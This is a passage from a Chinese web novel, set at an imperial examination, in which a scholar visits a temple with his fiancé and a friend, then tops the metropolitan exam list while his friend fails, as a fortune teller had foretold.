江丞相作为恒国大官,每日都要向皇帝呈递奏章,宋泊也是近水楼台先得月,沾了江金熙的光,从江丞相那儿学到了正儿八经的奏章格式,诏诰表这题考的便是格式,格式出了错,里头内容写得再好也是白搭。 又过三日,宋泊从贡院出来透气。 就算是京城的贡院,也是闷得让人难受,还好考三日便会放出来一日,不然真得在里头闷死不可。 江金熙每次都会在贡院放人的时候等在贡院门口,有了订婚书,他行事作风便开放许多,直接喊阿朝驾着丞相府的马车来贡院门口接人。 有人问来便说他是来接他的未婚夫,如此合情合理也嚼不了舌根。 期间江金熙从未问过宋泊有关科举的事儿,一来是不想给宋泊增添压力影响他的心态,二来考卷呈了上去已成定局,再问也无济于事。所以宋泊出来休息的两日,江金熙备着好餐好茶,让宋泊体验了两日衣来伸手饭来张口的日子。 第三场考试三月十一日开始,宋泊再回号房内莫名生出一股熟悉感,心态更平稳了。 第三场考试策论,共五道题,都是与时政或者历史有关的问题。与先前所有考试相同,策论最是灵活,不仅需要考生了解时政和历史,还要考生结合现实、加上自身理解写出策论。 恒国圣上爱才,所有才子之中他最喜实用型人才,故而第三场考试的分数占比很高,有不少一、二场写得好的考生到第三场拉胯了,只能遗憾落榜。 宋泊凝声屏气,将一切注意力都锁定在考卷上头。 这次会试的策论题不难,提到了前年水灾与昨年寒灾的事儿,两场天灾宋泊都经历过,自然比其他考生感悟多,写出来的策论也为受难者考虑许多,真正按实际作答。 众多考生有个不好就是一心只读圣贤书,写出来的策论视角多站在上位,乍一看没什么问题,细细深究起来便会发现那些决策都是假大空,根本无法实施。负责改卷的考官经历众多,瞧着这种实施不了的策论就会给低分。 三场考试考下来,宋泊也是耗心耗力,走出贡院时不禁感叹外头的世界还是美好,不枉费他在里头关了九日,为他和江金熙以后的美好生活奋斗。 江金熙在贡院门口接着宋泊,说道:“既考完了,我们晚上便放纵一下!”这也算是他们多场考试考下来的习惯,最后一日考完试就得到饭馆放纵一下,犒劳努力的自己,如此才有继续努力的动力。 江金熙瞥着从贡院往外走的路砚知,将他也唤了来。 “也有我的份?”路砚知本来因着作答的事儿心气不顺,一听江金熙要请吃饭,瞬间就把作答上的失利抛到了脑后。 “当然,路兄可与宋泊同学两年,还卖了他珍贵的观山红,如此交情怎能不一起呢?”江金熙笑着说道。 说起来路砚知可是帮了他们许多,商贾的人脉在开店的方面很是有用,前头百安馆就受他帮忙,年前定亲宋泊更是有不少贺礼是从路砚知那儿问过才买下来的,可以说他和宋泊能定下婚事,路砚知也占了三成的功劳。 路砚知偷偷瞧着两人面色,见两人都面上含笑,没有一丝不自在,他才放着心,大胆道:“那我可不客气咯?” 宋泊一拍路砚知的后背,“客气什么,今日不醉不归。” 第143章 第一百四十三章解签。 三月十三至三月二十八对于会试考生来说十分难熬,会试出榜十五日,这个时间不会长不会短,就算出了问题卷,因着在京城,找各种官员核对都方便,故而十五日是不会出现任何偏差的,这十五日考生们等在家中简直度日如年,巴不得有人能给他们一棍子,直接跳过中间的十五日。 这焦躁的典型代表便是路砚知,坐在凳上觉着刺挠,站在地上又跟个陀螺般转个不停,晃得人眼晕。 江金熙瞧着在院子里转来转去的路砚知,偏头询问宋泊,“路兄这般症状有几日了?”若非知道路砚知考了会试,他还真要以为路砚知犯了什么病。 古往今来也不是没有被科举逼疯的学子,不过路砚知这才第一次考会试,他又心理强大,应当不会因为一次会试就疯掉的。 “会试那日夜喝醉以后,第二日便开始了。”宋泊也是觉着无奈,卷子都呈到官府那儿去了,再着急又有何用,不如静下心来看书,往后还有殿试呢。 江金熙双手撑在亭中石桌上,掌心托着脸颊,忽然想着个好去处,他声量高抬,提议道:“不如我们今日去庙里吧!上上香、求求签讨个好彩头?” “倒也可以。”宋泊应道,整日在院子里待着也没旁的事更是容易胡思乱想,趁着这个机会活动活动身子骨也不错。 上辈子他是个坚定的无神论者,经历过穿越这事儿以后,他觉着有些事还是宁可信其有,不可信其无。带路砚知去庙里拜拜神仙也好,能求个心安,不至于整天在院子里叨扰别人。虽然宋泊每日看书也不在意路砚知在做什么,但每次抬头往院外看去总能瞧着个焦虑的身影,多少有些扰人心绪了。 既要去庙中,宋泊便也邀请了宋茶栽,庙中不止能求学业,还能求些身体健康、万事如意之类的吉运,宋茶栽这般年龄,应该正是乐意求吉运的时候。 宋茶栽一听宋泊要请她去庙里,想也没想便答应了。 只是去庙中不可两手空空去,江金熙回丞相府寻阿朝,宋泊、宋茶栽和路砚知则去集市买贡品。 宋泊与江金熙约在集市出口见面,巳时中,一行人坐上马车前往京城郊外的众仙岩。众仙岩虽未有寺庙两字,却是京城百姓们最爱去的寺庙,就算从京城步行至众仙岩需要两个时辰,每日前去上香的香客还是络绎不绝。 托马车的福,两个时辰的步行时间被缩短至三刻钟,阿朝在众仙岩山底停下马车,大伙儿纷纷从马车上下来。 面前是一望瞧不到尽头的阶梯,顺着阶梯往上瞧,能看着一座寺庙建于半山腰,周遭烟雾环绕,瞧不太清晰。 江金熙熟门熟路道:“走吧,马车不能上寺庙。” 每年他娘亲都会带他到众仙岩来,这条前往寺庙的路他少说走了几十遍,连哪节台阶上的砖容易松动都记得清清楚楚。 路砚知像个出门春游的孩童一般,指着石台阶兴奋道:“就沿这条台阶往上走吗?” “是的,寺庙建在半山腰,离这儿不远。”江金熙说着先一步踏上台阶,青桥小跑着跟在他身后。 马车上不了台阶,买的贡品就得由他们拎着上去,四个人的贡品说来也不少,宋泊、路砚知和阿朝三个男子一人拎着一袋,往山上走。 走了一刻钟*的时间,大家终于到了寺庙门口。 宋茶栽瞧着面前这座寺庙的规模,没忍住感叹一句,“京城的寺庙也是与众不同啊。” 光是这寺庙的石门就已经有十人之高,大门敞开着,香客进进出出也是热闹。 寺庙大门外有一巨型香炉,进寺庙之前得先与这片的土地神打过招呼,竖香在这香炉之中。 江金熙帮着大伙儿都点了香,每人分三支插在香炉之中,而后领着大家由左门进。 左门进、右门出这也是寺庙的规矩。 刚入院中,便有一雕像立于众人面前,两边是四方水池,水池不大,里头养了不少锦鲤,个个身子圆润,游起来都不利索。 四方水池上头还有香客捏着馒头在喂鱼,那些鱼儿就算已经胖得游不动了,抢食还是要抢的。 江金熙让青桥把包里的馒头拿出来,每次来众仙岩,他都乐意喂鱼,觉着喂鱼这事儿十分有趣。 站与四方水池的桥边,江金熙一点一点捏着馒头碎丢入水中,这侧又有人喂食,鱼儿们纷纷游过来。 江金熙掰了半个馒头给宋泊,嘴里说道:“你瞧,这些鱼儿可好玩了,个个身体圆润,瞧着可是喜庆。” 宋泊掰下一块馒头丢下,笑着说:“也就是寺庙里的鱼能有这个待遇了。” 香火兴旺的寺庙小动物都能顺带沾沾喜气,野外的鱼、家中院子观赏湖的鱼个个苗条,哪儿有这般甜蜜的烦恼,有些香客带的馒头不合它们胃口,它们还会挑食往好吃的馒头那儿去。 “这个寺庙很灵的,所以大家都愿意来。”江金熙说道。 喂了一小会儿鱼,将手中馒头都喂了去,江金熙才领着大家又往里去。 最先的是大殿,殿内放了一尊金座佛像,佛像闭着眼两颊圆润,瞧着便是一副关爱众生相。佛像前头有一红木方桌,专门用来放香客们带来的贡品。 江金熙指挥着大家把贡品放在红木方桌上,然后将包装纸袋打开来放好,贡品以双数为吉,故而苹果、梨子、糕点等都是二、四、六、八的数量。 江金熙喊着宋泊帮他一起点香,正殿后头还有其他的神殿,得抓着一把香过去,沿路上香,文昌帝君殿在左边第三个神殿,那儿是他们这次来的主要目的。 众人在正殿拜了拜上香,从左门出去,一个神殿一个神殿拜去。 到了文昌帝君殿,大伙儿才停下了步子。 最近正值会试刚结束,来文昌帝君这儿求取功名的人数不胜数,既有考生又有考生的家人,一时间竟比正殿还热闹些。 刚进着文昌帝君庙,路砚知便迫不及待走到蒲团前,他右手五指并着指向蒲团,转头问江金熙,“可是跪在这儿与文昌帝君说我的诉求?”会试第三场他发挥失常,却还是寄予一丝希望,希望考官能放他一马,让他上榜。 “是的。”江金熙点头。 路砚知得了江金熙肯定的回答立即跪上蒲团,两手紧闭放在额头之上,嘴里碎碎念着。 江金熙拽了下宋泊的手,说:“你也去吧。”虽然他相信以宋泊的实力考过会试没有问题,但来都来了,不拜了再走总觉着不妥。 “好。”宋泊应声。 来文昌帝君殿的人太多,路砚知也是运气好,跪拜时正抢着个空蒲团,宋泊和江金熙不过说了两句话,文昌帝君像之前的五个蒲团就都被抢了去,宋泊想要跪拜还得排队。 等上好一会儿都没人起来,宋泊便想着等路砚知那个蒲团。 路砚知口中念完,虔诚地拜了三拜才从蒲团上起来,给宋泊让了位置。 其实宋泊不知道该与文昌帝君说些什么,但是刚刚江金熙与他说过一嘴,让他把自己的名字、号房号告诉文昌帝君就够了。 宋泊学着刚刚路砚知的模样,两掌相并抬与额头前,嘴里小声念着自己的名字以及号房的号数,希望文昌帝君保佑他高中,一来是为了自己的仕途,二来也是为了他与江金熙的婚事,考过会试才有成亲敲门砖,他想要这个敲门砖。 诚心诚意拜完,宋泊在香炉上插上三支香。 “小伙子,求签吗?我解签可灵哩。”殿内有个老伯支了个桌子,桌子前有一排红色的纸。 宋泊不懂什么叫求签什么叫解签,江金熙便与他解释着,路砚知站于一旁也跟着听了去。 “我想求签,江公子你可否教教我?”路砚知道。 “好。”江金熙教着路砚知,路砚知很快就从签筒里摇了支签出来,他兴致勃勃拿着签到老伯面前求解签,老伯问了他的年龄,又从桌上红纸上抽出相应的解签纸,而后面色一凝,与路砚知道:“你可是今年考了会试?” “是呀!”路砚知答着。 瞧着这面正借着签,宋泊牵着江金熙也凑过来听听,想听听老伯说来有无道理。 闻言老伯摇了摇头。 瞧着老伯这副模样,路砚知追问,“可是不顺?” “我实话说来你切不可生气。”老伯说。 往日也有那种抽到坏签的人,听了解签的话来了气,寺庙内不可动手便骂了老伯,自此以后老伯解坏签前都会与香客先打个招呼。 路砚知心跳加快,他深吸两口气,说:“我不生气。” “公子命有官缘,却并非今年,今年会试恐要落榜啊。”老伯说。 路砚知如受重击,两手撑着桌子,语气都不顺了,“那何年呐?”若到七老八十官缘才来,那他也是有命考没命当了。 老伯瞧着签纸,说:“三十到三十五岁之间。” 路砚知今年二十七,下回会试便是三十岁,按老伯说法他高中便在之后两次会试,不过到底是三年一次,他还是想在争取一番,“我今年当真没机会了吗?” “安心备考下回吧。”老伯说。 这下直接将路砚知心底最后一丝希冀的火苗全都浇灭,路砚知谢过老伯,便失魂落魄地出了殿。 江金熙正想喊阿朝追上去跟着路砚知,就被宋泊攥住了手,江金熙往后看去,宋泊与他摇了摇头,“让他自己静静吧。” 第144章 第一百四十四章姜升。 听了解签以后,路砚知遭到打击想也未想就跑了出来,此刻正站于一棵柳树下暗自神伤,正想着会试不过往后改如何时,便听着一女声在他身后响起,“你怎的在此?” 路砚知转头一看,是姜轻与他说话。 路砚知还以为自己出现幻觉了,他揉了一把眼,瞧着姜轻还是站在他面前一动未动,甚至连姿势都未曾变换过,他问:“姜姑娘,你如何在此?” “这是我问你的话,你未答我还反问回来呢?”姜轻插着腰上前两步站在路砚知面前,这下离得近了才瞧着路砚知眼眶有些发红,男儿有泪不轻弹,只是未到伤心处,姜轻头一回看着自家亲戚以外的男子落泪,惊道:“你躲在这儿哭呢?” 路砚知霎时间脸就红了,他三两下抹掉眼泪,嘴硬道:“没哭,刚刚刮了阵风迷眼睛了。” 姜轻并未拆穿他这拙劣的谎话,沙子迷眼睛怎么会两眼都迷,还迷得正正好,两只眼睛红得一样,依她看,路砚知就是躲在这无人的地方偷偷哭呢。 “也是,刚刚那风是挺大的。”姜轻拎着个手袋,她从手袋里掏出油纸包着的小物,直接往路砚知那儿扔去。 路砚知的脑子还未反应过来,手倒快了一步,他接住姜轻扔来的东西,问:“这是何物?” “炸弹。”姜轻逗着路砚知。 “什么?!”路砚知惊叫,“这么小的东西怎可能是炸弹?再者说,你一个女孩子家家怎么可能随身携带炸弹?!” “好啦,其实只是一个绿豆糕而已。”姜轻说:“吃点甜的,省得难过。” “我没哭!”路砚知重复一遍。 “没哭,没哭。”姜轻跟着路砚知的话往下说。 路砚知顺手将绿豆糕揣进怀中,然后问道:“对了,你怎么会在这里?”姜县丞在霞县当官,姜轻应该在霞县才是,怎么会到这京城边郊的众仙岩来。 “我哥来参加会试,我给他祈福呢。”姜轻说。 “你哥?” “我哥在会甲班,你没见过正常。”姜轻说。 路砚知过了乡试后,县学将他从乡丙班调到了会乙班,虽说会甲班与会乙班名字离得近,但在县学中却是一点儿不近。会甲班是主攻会试的好苗子,只有二十位学子,专门在一个小院中学习,故而路砚知在县学里待了五月,愣是没怎么见过会甲班的人,自也不知道他们都叫何名。 “你怎知我不在会甲班?”路砚知问,他未跟姜轻说过自己在县学中哪个班就读,她是如何得知的? “那日我哥不舒服,我去接他时正巧看见你,顺耳听着别人提起就知道了。”姜轻说。 姜轻脑袋灵光,一联系着会试的事,便大致想明白路砚知为何会出现在这儿并且一个人偷偷躲着,这地儿离文昌帝君殿不远,他应是在文昌帝君殿听着什么,这才躲到这儿来。她没有戳人痛处的习惯,方才抬嘴想说“你是不是也来求功业”的话瞬间吞入腹中。 远处传来男声呼唤姜轻的名字,姜轻与路砚知说道:“我哥喊我了,我先回去了。” “啊、好,你去吧。”路砚知赶忙点头。 姜轻反身往文昌帝君殿跑去,想了一想还是开口道:“长风破浪会有时,直挂云帆济沧海。” 路砚知忽而心头一动追了上去,只瞧着姜轻跑到一男子身边,周遭还有陪着的侍人,想来确实是陪自己哥哥来这庙宇中。 路砚知把怀中的绿豆糕拿来,小小地啃了一口,绿豆糕入口即化,明明不甜却叫路砚知心情愉悦,下次再遇着姜轻可得问问她这绿豆糕从哪儿买的,他要跟着买去。 宋泊和江金熙等在文昌帝君殿,宋茶栽由青桥带着往接下来的神殿走去。 路砚知想开得也挺快的,不过两刻钟便走了回来。 路砚知不好意思地挠了挠后脑勺,“不好意思,让你们在这儿等我。” “无妨,反正我们也不赶时间。”宋泊仔细瞧着路砚知的脸,眼眶正常,应当没有躲在哪儿哭,只是不顺心散散心而已。 江金熙站在宋泊身侧,他小心地问着:“路兄,你现在情绪可好些了?” “好多了!我们接着往下走吧!”路砚知说着打量了下四周,并为看见宋茶栽的身影,“宋大姑呢?” “先一步走了,我们追她去。”江金熙说着,领着两人追宋茶栽去了。 宋茶栽溜达一圈回了正殿,并在正殿为大家求了健康平安,还买了三个开光符,宋泊、江金熙、路砚知三人一人一个。 “学业是重要,但身体更为重要,淤气淤在心中可是会坏事的。”宋茶栽边分着开光符边说道。 路砚知捏着手里的开光符,只觉得心里暖暖的,先前听了解符的郁气因着大伙儿全都散尽,老伯也说他是有官缘的,只是晚些而已。 将众仙岩所有神殿都拜过以后,夕阳已然西斜,春日的天黑得很快,他们得趁天色还未完全暗下的时候下山,不然到时路边没有灯盏,摸黑下山危险。 阿朝先将宋泊、宋茶栽和路砚知送回宋家,而后才载着江金熙和青桥回丞相府。 走了一天的路,宋泊打了两桶热水,邀路砚知来泡脚。 路砚知自然高兴,乐呵着就来了宋泊的正房。 “路兄,坐。” 宋泊备好了椅子,一见路砚知进来便招呼着他坐下。 路砚知与宋泊并排坐下,脱去脚上靴子,学宋泊一道把脚泡进木桶之中。 热水泡脚的酥麻感沿着脚底直窜大脑,路砚知没忍住叹了口气,可是舒坦。 宋泊道:“走了一阵泡个脚最是舒服。” “确实。”路砚知乐道:“泡脚舒服不说,与好友一块儿泡脚更是舒坦。” “现下我觉着来趟京城也挺好,就算会试没过,瞧着你名字上榜也行。”路砚知胜在一个心大,白日的难过不会留到晚上过夜,更别说还有好友帮着开导,他那牛角尖只钻了一刻便钻透了。 “解签不一定的。”宋泊道。 “是准的。”路砚知两手往后一撑撑在椅子上,“会试第三场,我隔壁有学子犯了腹痛,请来官差带他出去,一顿闹腾之下我被影响了,策论未写完。” 路砚知一直未说过这事,宋泊自也不知他在会试上竟然经历了这一茬,会试人才云集,写错一个字都有可能落榜,更别说卷子未写完了。会试查作弊查的严,断不会出现乡试时把一群人择出去的情况,路砚知落榜的事大概是榜上钉钉了。 宋泊还未开口说些什么,路砚知便自己给自己打气道:“没关系,我能一次通过乡试已经是撞了大运,现下会试没过也是件好事,我还得再历练历练,怎么说也得先挤上会甲班,再谈上榜的事。” “路兄能这么想我很高兴,会试不止一次,那老伯也说了,往后两次你必定会上榜的。”宋泊安慰道。 “诶,宋弟,你们班可有姓姜的同学?”路砚知问。 宋泊作为解元一下就被县学提去会甲班,不过他上了两月就请长假上京城,路砚知也不确定他能不能认识会甲班所有人。 “你说的可是姜升?”宋泊答。 姜升是姜县丞的儿子,姜轻的哥哥,宋泊觉着路砚知要问的人应该就是姜升。 “还真有啊”路砚知小声嘀咕一句。 因着路砚知声音太小又伴随着脚踩水声,宋泊实在是没听见路砚知说了什么,他问:“路兄你说什么?” “姜升,他学习如何?”路砚知问。 宋泊细细回想一番,模糊道:“我只在县学上过两月,不太清楚各同学的实力,不过一月一次的月试他总排名在前,想来应是学习不错。” “他竟如此厉害。”路砚知道。 宋泊觉着有些奇怪,路砚知不会平白无故提起一个人,而且提的还是自己并不认识的人,“你可是想认识他?我听闻他也留在京中未走,明日我便引荐你们认识?” “不、不用了。”路砚知拒绝地飞快,更让宋泊觉着其中有他不清楚的门道。 姜县丞身为县丞却爱财,爱财之人多少会沾上些铜臭味,不过姜县丞的儿子姜升却不如此,他每日着着县学统一服饰,吃穿用度都与寻常人一般,用的笔墨纸砚比普通人稍微贵些,却也贵不着哪儿去,他每日投身于学习当中,除了吃饭、洗澡、睡觉,其他时间都在学习。 听闻今年是他第三次参加会试,想来是不想再参加下次会试,将所有都赌在今年了。 姜升品性端正、学识丰富,引荐路砚知与他认识也不是不行,不过既然路砚知说不用,那他就不多管闲事参上一脚。 泡到水桶中的水渐渐凉去,路砚知才端着两人的水出门倒掉,宋泊接水他便倒水,断不能一个活都让一人坐去。 把水倒了后,路砚知便说自己要歇息回了偏房。 房间内安静下来,宋泊爬上了床直直平躺瞧着上头的红色瓷砖,他双眼放空,脑袋中一丝思绪也无。每日自醒来他的脑子就在飞速转动,这般呆愣的放空时间倒没多少。 人非机器,总得休息几分,宋泊难得觉着累了,躺在床上发愣。 也是床太舒服,宋泊看着看着便眼皮落下睡了过去,窗外一阵风吹过,将屋内唯一亮着的蜡烛熄灭,四周黑暗下来,亥时中,宋泊终于睡了个早早的觉。 第145章 第一百四十五章会元。 三月二十八日会试出榜,这日子可是准时,多一日没有少一日也无。 天还未亮,路砚知便来敲响了宋泊的房门,同住宋家便是这点儿好,起来找人方便得很,穿个院子就行。 这一夜宋泊睡得并不怎么安稳,途中睡睡醒醒,算来不过睡了一个时辰多,也是浅眠,才能一下听着路砚知敲门的声音。 宋泊将房门打开,门外路砚知穿戴整齐,一瞧着宋泊就催促道:“宋弟,可好了?咱们现下就得出门看榜去了。” 宋泊算了下时间,卯时末放榜,现下不过寅时末还有一个时辰时间,这般早去只能站在门口干等着,没什么乐趣,更何况江金熙说了要与他们一块儿看榜,他自得等到江金熙来才行。 “路兄何必如此着急,进屋再坐会儿,喝杯茶再出门也来得及。”宋泊说着邀路砚知进屋小坐。 放榜在即,路砚知完全静不下心,昨日便没睡着,现在如何能在屋里坐下喝茶,他道:“我知道你要等江公子来,这样,我先去,给你们占个好位置。” 宋泊自知劝不动路砚知,路砚知心焦都表现在面儿上,他也就没再强劝,“也行,那你先去,我们随后就到。” 路砚知与宋泊别了一句,便如一阵风似的走了,那步伐大得,连衣袖都在飘动,从背影都能看出他心中急切。 刚送走路砚知,宋茶栽又来敲了宋泊的房门,她也是心急,只想现下就出门在榜前抢个好位置,好一早瞧着榜上名字。 宋泊哭笑不得,只能让她也先去榜前,等会金熙到了他们会立即出门去寻她。 宋茶栽应了声,也是风风火火地走了,被两人一扰,宋泊本来还算平静的心情也泛起了波浪,毕竟是会试出榜,殿试前的临门一脚,可是重要。 卯时过一刻,江金熙坐着马车到了宋家,今日的他特意穿了件带红色绣纹的衣袍,就是为了讨个好彩头。 青桥先下马车敲门,刚敲响一声,门便从里面打开了来。 宋泊贷的这个院子有些大,他又没有侍人,从外头敲门来他在正房内是听不着的,因此他便搬了把小凳子坐在门后,只等着江金熙敲门,他能第一时间将门打开来。 “宋公子。”青桥先行一礼,“我家公子在马车上等你。” “是,多谢。”宋泊说着跨出大门,将门合上,坐上马车。 “起这么早可累?”宋泊坐与江金熙身侧,柔声问着。 江金熙得睡饱了觉才有精神,往日都需睡上四个时辰,今日起得这般早,宋泊估摸着他只睡了两个时辰半。 “哪儿会累,我可期待着瞧榜,精神满满。”江金熙说。 宋泊笑着牵过他白皙的手攥在双掌之中,现下三月已入春季,温度稍微上升了些,可江金熙的手还是冰凉。 江金熙正好趁此用空着的手揪起自己衣袖上的花纹给宋泊瞧,“你看看这纹样可好看,为你讨个吉利呢。” 宋泊仔细瞧来,衣袖上用红线与金线绣了锦鲤的纹样,确实吉利。这就像现代会有人穿旗袍迎考生一样,求的就是个旗开得胜,先不说到底有没有用,只是这情绪价值得满上,瞧着人高兴。 “特意去买的衣裳?”宋泊问。 “嗯。”江金熙应声,“前几日与青桥一块儿去买的,我可挑了好一阵子,可挑着这件锦鲤纹,如何?是不是买得好?” “当然是好极。”宋泊笑道:“今日若是上榜,定是这衣服的功劳。” “说什么呢。”江金熙腾了手拍在宋泊身上,“这衣服能有这么大用可不得售空了。” 两人一路嬉闹过去,到贡院墙边时为卯时中,早了半个时辰抵达,墙外早已人潮涌动,贵族家的马车停满了院外,阿朝找不着缝儿塞马车进去,再来塞进去也容易踩着人,江金熙便让他把马车停在人群外围,多少走点路而已,还方便一些。 下了马车,阿朝守在马车边,青桥跟在江金熙后头,宋泊侧着身面向江金熙,将他半环绕在怀中,好隔去其他人。 只是会试放榜确实热闹,路砚知和宋茶栽说早些来要与他们占个位儿,现下是连他俩也找不着,更别说位儿了。 这人挤人实在不方便走到深处,宋泊和江金熙在外头找了个能瞧见榜的位置便停下,再往里了挤,恐怕还没看着榜就被人踩扁了去。 卯时末整,便有布榜的官差来了,前头人双手捧着红榜,边上围了四个带着长刀的武将,放榜事重,若是有疯了的人上前抢榜,把榜撕了,上头怪罪下来可是谁都扛不住,故而那四个武将怒目圆瞪,谨慎瞧着周围,把在刀柄上的手青筋暴起,任何时刻都能第一时间出刀保护红榜。 瞧着人来了,宋泊的心跳快速几分,倒是有种上一世坐在电脑前查高考分的紧张,边上江金熙双手环住他的胳膊,双手紧得连衣袖都起了褶子。 “可是紧张了?”宋泊微侧低头,在江金熙耳边问道。 “你不紧张?”江金熙反问。 “自然紧张。”宋泊将手抬起来,掌心对着江金熙,“你瞧,可都是汗了。” 江金熙低头瞧来,宋泊的掌心里确实有汗,没想着前头都波澜不惊的人,到了会试张榜也会紧张。 张榜的官差走到位置,正面朝着百姓们,启口高喊,“张榜——” 听着这两个字,前头开始拥挤,大伙儿都想近几分看,顺带着宋泊和江金熙也被人潮推着往前走了些。 四位带刀侍卫守在榜前,张榜官差安心地在墙上抹胶,而后把红榜小心地贴了上去,“榜成——”他转过身,又高喊一句,便领着侍卫们走了。 待瞧不着官差的身影,大伙儿才开始往前瞧榜,霎时间哭声、笑声掺杂在一起,听起来可是热闹。 宋泊和江金熙站的这个位置能瞧着榜中,往前、往后的名字都太小还看不清楚,他们便先从中间看起。 自三十名看到八十九名都未有熟悉的名字,江金熙的心不由得又快了几分。 有些瞧了榜的人看完便走,倒是比刚开始张榜时空了不少,宋泊和江金熙正打算往左边挪些看榜,就听着一声女声兴奋喊道,“宋泊!你中了!” 接着一只手穿过人群攥着宋泊的胳膊,把他往左边拉,“叫你早些来不来,现下挤在中间又能看着何人?” 宋泊护着江金熙挤过人群,才与宋茶栽汇合。 宋茶栽满面红光,脸上的喜气是怎么也藏不住,“好小子,当真厉害。” 江金熙一刻也等不着,他忙问:“大姑,宋泊的名儿在哪儿呢?” “喏,就在那里。”宋茶栽抬手一指,宋泊和江金熙顺着宋茶栽指的方向瞧去,红榜左侧第一位,宋泊两字赫然在榜。 “天呐!会元!”江金熙两眼惊喜着睁大,双手抬起交合着捂在嘴前,“是会元耶!” 两字名字容易有重名者,为了避免有同名同姓者冒领,红榜后头都会写上上榜人的籍贯,宋泊瞧着后头籍贯,再三看来榜上名字都未移动半分,这才相信自己得了会元。 会元!宋泊完全没想到自己会得会元,还是江金熙扯了他几次,他的魂才从外头飞回来。 “金熙,大姑,我得了会元!”宋泊一手拉一个,小声着道。 现在这儿人太多,若是暴露宋泊是会元,定会被贺词的人围起来,短时间走不了,为了免去这等麻烦,他们说话的声音都降了些许,只自己人听得便好。 “真厉害。”宋茶栽再夸着。 江金熙紧紧牵着宋泊的手,满是激动,“你真的很厉害,一举得元!”说话间甚至有一滴泪从他的面颊滑落下来。 宋泊抬手抹去江金熙的眼泪,道:“怎么还哭了呢。” “我这是喜极而泣。”江金熙抬眸笑着看向宋泊,“一举得元的人可是少之又少,我当是运气好,与个文曲星定了亲。” “那不得。”宋泊道:“这会元也有你这锦鲤的功劳。” 看完宋泊的名儿,三人又往后瞧了瞧,榜看了三回,没瞧着路砚知的名儿,路砚知落榜了。 三人从人群中挤出来,走至马车边儿,便瞧着路砚知已经等在马车旁了。 江府马车独特,瞧过的人一眼便知这是江府的马车,在拥挤的人群里找人宛若大海捞针,路砚知便机灵着出来寻马车,在马车边儿等总落不着空。 “路兄。”宋泊唤道。 路砚知上前两步拍了拍宋泊的肩膀,面上含笑,瞧不出半点儿难过,“你可真是了不得,霞县这个偏远南面地儿出了发亮的金子!” “哪儿称得上金子呐。”宋泊笑道。 “可不是金子?一举得元,这可是要进入史书的。”路砚知夸道。 得会元已然不易,能一举得元的人更是凤毛麟角,从古至今一举得元的人不过三人,皆记录在史书当中,宋泊作为第四位,后头也会被载入史书。 宋泊还没想过这茬,进史书,听来就有些麻烦。 “你可先去官场里瞧瞧,等我后头来可领着我些。”路砚知再道,如此路砚知已知自己落榜,不过能这般调笑着说出来,想来是做好了心理准备。 众仙岩的解签当真灵验,也亏了那签子,让路砚知提早做好准备,瞧着自己落榜也能安心应下。 听着路砚知能淡然地将落榜的事儿拿出来说,宋泊也是放了心,他道:“那是自然。” 第146章 第一百四十六章殿试前。 得了会元可是件大事,江金熙一高兴,便请大家到京城最贵的酒楼吃饭,等饭吃得尽兴回到丞相府时,正巧遇着要回房休息的江丞相。 江金熙直接朝江丞相那儿跑去,跟在江丞相的身边甜甜唤道:“爹爹。” 江丞相嫌弃地抬袖捂鼻,走着走着还往左边悄悄挪了些,与江金熙拉开了一段距离,“回来这么晚还一身酒味,可离远些,熏人。” 江金熙没喝多少酒,但是路砚知和宋茶栽喝了很多,身上的酒味应该是从他们那儿染来的。 听江丞相的口气不似生气,江金熙腆着脸继续跟在江丞相旁边,小眼神悄悄瞄着江丞相,见江丞相今日心情不错,他自豪道:“大名鼎鼎的江丞相可瞧了今日的会试榜儿?” 会试是殿试的门前试,江丞相作为恒国丞相,红榜自然会先送与他瞧过,上头有什么人他可是一清二楚,宋泊也是当真有本事,真是一举上榜甚至还拿下了会元。 见着宋泊名字在第一名,他还喊考官将卷子领来,细看一遍他才知宋泊确实是有会元的实力。 “你说说,今日红榜如何?”江丞相问。 江金熙拉着江丞相的衣袖,语气兴奋道:“宋泊可是得了会元呢!” “噢?那倒有些本事。”江丞相夸道。 江丞相轻易不夸人,能从江丞相口里得到“有本事”这三个字,可是江丞相真正认同宋泊的开始。 “是吧?”江金熙顺着江丞相的话往下说着:“我也觉着他很有本事,当时在南面瞧着他时,我就觉着此人与众不同,这下好了,我真的淘到金子了。” 听江金熙这么说,江丞相没忍住细微地抬了下唇角,“这么说来还是你眼光好了?” “我眼光好他不努力也没用呀。”江金熙挽着江丞相的胳膊,细细点着宋泊为科举做的努力。 一路上江金熙说个不停,从宋泊的努力到宋泊的字,又从宋泊的字夸到宋泊的孝心,江丞相只是听着一语未说,等快到正房,他才打断道:“好了,瞧你乐的,嘴角都要拐到耳后去了。” 江金熙呡了下唇,强行压下自己高兴的嘴角,他两眼弯弯,说:“很明显吗?” “赶紧回去休息吧,一身酒味可臭。”江丞相落下这话便拐弯转入正房。 江金熙嗅了下自己的衣裳,许是一直被这酒味浸着,他也闻不出来自个儿多臭,“定是爹爹鼻子太灵,我才没那么臭了。” 刚刚入府江金熙朝江丞相跑去,青桥便先一步拎着江金熙的东西,回了江金熙的院子,见江金熙回来了,他迎上前,“公子。” “帮我准备衣裳,我要沐浴。”江金熙道。 “早已备好,只等公子回来。”青桥将江金熙的衣裳仔细叠好,沐浴用的毛巾与香皂也已备好,等江金熙一声令下,他便用托盘托着,跟在江金熙身后随他一道进浴室。 浴室里已经有备好的温水,青桥把沐浴的东西放下后,便跨出浴室合上门等在外头。 江金熙不喜人伺候洗澡,自小到大都是如此。 * 因着殿试在四月头,算来不过十几日,故而捷报官便没有在放榜之后来,只等着殿试过后一道儿道贺。也是因着如此,宋泊才能过了个清闲日子,没有捷报官上门,宋泊又低调行事,哪个能*知道这儿住了会元,上门道贺呢。 宋茶栽从外头买菜回来,瞧着宋泊在院中坐着饮茶,她先将买的菜搁在厨房,而后出来坐与宋泊对面,“给我也泡杯茶。” “既是大姑来,当然要好茶备上。”说话间,宋泊抬手往盖碗中倒了热水,淡色泛着清香的茶水自盖碗而出,进入茶杯之中。 这茶水颜色瞧来并不熟悉,宋茶栽端走茶杯呡了口,尝来也不是熟悉的味儿,“新茶?” “路兄前两日在京城市集中淘到的,我觉着这味儿清淡,便讨了些来。”宋泊说,他不喜欢浓茶,淡淡茶香萦绕口齿之间,喝下无味,才是他最喜欢的茶。 “等会我去问问砚知何处买的,爱喝便多留些。”宋茶栽道,她见亭子桌上除了茶盘再无它物,便开口问着:“明日就是殿试,你可紧张?” 